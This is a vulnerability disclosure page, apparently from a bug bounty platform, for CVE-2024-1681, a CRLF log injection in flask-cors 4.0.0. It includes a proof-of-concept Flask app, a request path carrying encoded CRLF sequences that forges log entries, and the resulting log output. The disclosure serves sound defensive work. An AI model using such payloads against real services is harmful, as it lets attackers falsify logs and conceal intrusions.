

Log injection vulnerability by injecting CRLF sequence in request path in [corydolphin/flask-cors](#)

✓ Valid

Reported on Jan 21st 2024

Description

With log level set to debug, it is possible to inject fake log entries into the log file.

Proof of Concept

```
import logging
logging.basicConfig(level=logging.DEBUG)
from flask import Flask
from flask_cors import CORS
import requests
import threading

# Setup Flask app
app = Flask(__name__)
CORS(app)

# Enable debug mode
#app.config["DEBUG"] = True
logging.getLogger('flask_cors').level = logging.DEBUG

# Define a basic route
@app.route("/")
def hello_world():
    return "Hello, cross-origin-world!"

# Function to run the app
def run_app():
    # Run the Flask app on a separate thread
    app.run()

# Start the Flask app on a separate thread
run_app()
```

Trigger the log injection by sending a GET request to:

```
http://127.0.0.1:5000/api/test%0D%0A%0D%0ALOGINJECTION%0D%0A%0D%0A
```

This will inject logs like this:

```
* Serving Flask app 'testflaskcors' (lazy loading)
* Environment: production
  WARNING: This is a development server. Do not use it in a production deployment.
  Use a production WSGI server instead.
* Debug mode: off
INFO:werkzeug: * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
DEBUG:flask_cors.extension:Request to '/api/test

LOGINJECTION

' matches CORS resource '/*'. Using options: {'origins': ['.'], 'methods': 'DELETE
DEBUG:flask_cors.core:Settings CORS headers: MultiDict([('Access-Control-Allow-Orig
DEBUG:flask_cors.extension:CORS have been already evaluated, skipping
```

Impact

This can be used by attackers in multiple ways. For example, an attacker might cover his tracks during other attacks by corrupting log files, breaking or confusing log post-processing tools, and forging log entries suggesting malicious actions with different IPs. This implies the owners of these IPs are committing cybercrime. Security is a primary reason for keeping logs, and this vulnerability renders logs almost entirely useless, as an attacker can spoof them without limits, making it impossible to know what is real and what isn't.

Occurrences

 extension.py L194

References

- [CWE-117: Improper Output Neutralization for Logs](#)

⚙️ We are processing your report and will contact the [corydolphin/flask-cors](#) team within 24 hours. 2 years ago

🕒 We created a [GitHub Issue](#) asking the maintainers to create a SECURITY.md 2 years ago

⚠️ We were unable to make contact with the [corydolphin/flask-cors](#) team automatically, our community manager will try to reach out to them instead. 2 years ago



Marcello validated this vulnerability 2 years ago

\$ ehtec has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-1681 assigned to this report. 2 years ago

 A huntr admin modified the scheduled publication date from Invalid date to 20th Apr 2024 2 years ago

⚠ We have sent a warning to the corydolphin/flask-cors team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 CVE-2024-1681 has now been published 2 years ago



Anes Hujević commented 2 years ago

This has been fixed in the version **4.0.1**

[Sign in](#) to join this conversation

CVE

CVE-2024-1681

Published

Vulnerability Type

CWE-117: Improper Output Neutralization for Logs

Severity

Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

4.0.0

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$170

Fix Bounty

\$42.5

Found by



Elias Hohl

@ehtec

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)